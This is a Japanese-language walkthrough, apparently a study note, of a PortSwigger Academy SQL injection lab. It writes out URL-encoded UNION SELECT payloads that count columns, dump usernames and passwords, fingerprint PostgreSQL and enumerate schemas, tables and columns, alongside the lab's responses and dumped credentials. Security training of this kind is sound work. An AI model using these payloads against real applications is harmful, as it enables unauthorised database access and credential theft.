SQL injection 18 / 51 LAB5

UNION attack: 他テーブルからのデータ取得

前提:「カテゴリー」パラメータにSQLインジェクションが存在する。
ゴール:全ユーザー名とパスワードを取得後、管理者ユーザとしてログインする。

1.「Pets」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス

GET /filter?category=Pets HTTP/2
Host: 0a5d003a0420219380b51c3f004200fc.web-security-academy.net
Cookie: session=SzaevQu2i266IU4boyhq4eclacp8cTZe
~省略~


HTTP/2 200 OK
省略~
<th>Babbage Web Spray</th>
~省略~

画面上からは分かりにくいが、<tr> <th> <td>の数から4行2列の表であることが分かる。

<tr><th>見出し</th><td>要素</td></tr>
<tr><th>見出し</th><td>要素</td></tr>
<tr><th>見出し</th><td>要素</td></tr>
<tr><th>見出し</th><td>要素</td></tr>

2. SQLインジェクションの存在確認。'=%27 の入力

GET /filter?category=Pets%27 HTTP/2
~省略~


HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Pets%27%27 HTTP/2
~省略~


HTTP/2 200 OK
~省略~

レスポンスに差異が出ることから、'=%27 がSQL文として解釈されており SQLインジェクションがあると判定。

3. UNION と null での列数推定

GET /filter?category=Pets%27union+select+null,null-- HTTP/2
HTTP/2 200 OK

GET /filter?category=Pets%27union%20select%20%27a%27,%27a%27-- HTTP/2
HTTP/2 200 OK

列数は2列で、両列とも文字列型が指定可能ということが分かる。

4. ユーザ名とパスワードの出力

DB内に usersテーブル及び username password カラムが存在すると推測して入力。

GET /filter?category=Pets%27union%20select%20username,password%20from%20users-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~

<tr>
  <th>administrator</th>
  <td>t15y230jws6rzvsop9lm</td>
</tr>
<tr>
  <th>carlos</th>
  <td>lm30d50c85wzgsl4xjbq</td>
</tr>
~省略~

管理者ユーザのIDとパスワードも分かるため、ログイン画面からログインすれば完了。

ただ、usersテーブル及び username password カラムが存在すると推測 というのは雑なためもう少し検証する。

5. DB情報の出力

GET /filter?category=Pets%27union%20select+@@version,null# HTTP/2
~省略~


HTTP/2 500 Internal Server Error
~省略~

よって、MySQLやMicrosoft SQL ではない。

GET /filter?category=Pets%27union%20select+version(),null-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<th>PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit</th>

よって、PostgreSQLである。

ちなみに、Oracleでもない。

GET /filter?category=Pets%27union%20select+version,null+from+v$instance-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Pets%27union%20select+banner,null+from+v$version-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~

DBごとの際は下記を参照
https://portswigger.net/web-security/sql-injection/cheat-sheet#database-version

6. PostgreSQL でのDB一覧の出力

SELECT DATNAME FROM PG_DATABASE;

元の文が邪魔なのでカテゴリーは消す("Pets"を消去)

不要な DB(テンプレート)も除外する場合

WHERE datistemplate = false;

GET /filter?category=%27union+select+null,datname+FROM+pg_database+where+datistemplate=false-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>academy_labs</td></tr>
<tr><td>postgres</td></tr>
~省略~

7. 現在利用しているデータベースの確認 current_database()

GET /filter?category=%27union%20select+null,current_database()-- HTTP/1.1
~省略~


HTTP/2 200 OK
~省略~
<tr><td>academy_labs</td></tr>
~省略~

または catalog_name from information_schema.schemata PostgreSQL 12 ドキュメント

GET /filter?category=%27union%20select+null,catalog_name%20FROM%20INFORMATION_SCHEMA.SCHEMATA-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>academy_labs</td></tr>
~省略~

8. スキーマ一覧の確認

select nspname from pg_namespace

または

select schema_name from information_schema.schemata
GET /filter?category=%27union+select+null,nspname+from+pg_namespace-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>pg_toast_temp_1</td></tr>
<tr><td>public</td></tr>
<tr><td>pg_catalog</td></tr>
<tr><td>pg_temp_1</td></tr>
<tr><td>pg_toast</td></tr>
<tr><td>information_schema</td></tr>
~省略~

内部用スキーマ(pg_toast など)を除外し、普通にユーザーが使うスキーマだけに絞る場合

WHERE nspname NOT LIKE 'pg_%' AND nspname <> 'information_schema'
HTTP/2 200 OK
~省略~


GET /filter?category=%27union%20select+null,nspname+from+pg_namespace+where+nspname+not+like+%27pg_%%27+and+nspname+%3C%3E+%27information_schema%27-- HTTP/2
~省略~
<tr><td>public</td></tr>
~省略~

9. テーブル一覧の出力

SELECT table_name FROM information_schema.tables
GET /filter?category=Pets%27union+select+null,table_name+from+information_schema.tables-- HTTP/2
~省略~


HTTP/2 200 OK
<tr><td>pg_extension</td></tr>
<tr><td>pg_class</td></tr>
<tr><td>pg_range</td></tr>
<tr><td>pg_stat_gssapi</td></tr>
<tr><td>pg_indexes</td></tr>
<tr><td>pg_policies</td></tr>
~多数・省略~

10. publicスキーマに存在するテーブル一覧の出力

select table_name from information_schema.tables where table_schema='public'
GET /filter?category=%27union+select+null,table_name+from+information_schema.tables+where+table_schema=%27public%27-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>users</td></tr>
<tr><td>products</td></tr>
~省略~

つまり、PostgreSQL ではスキーマ名を指定すればよく、DB名は不要

usersテーブルに存在するカラム一覧の出力

select column_name from information_schema.columns where table_name='users'

GET /filter?category=%27union%20select%20null,column_name%20from%20information_schema.columns%20where%20table_name=%27users%27-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><td>email</td></tr>
<tr><td>password</td></tr>
<tr><td>username</td></tr>
~省略~

後は4. ユーザ名とパスワードの出力の通り。

/* -----codeの行番号----- */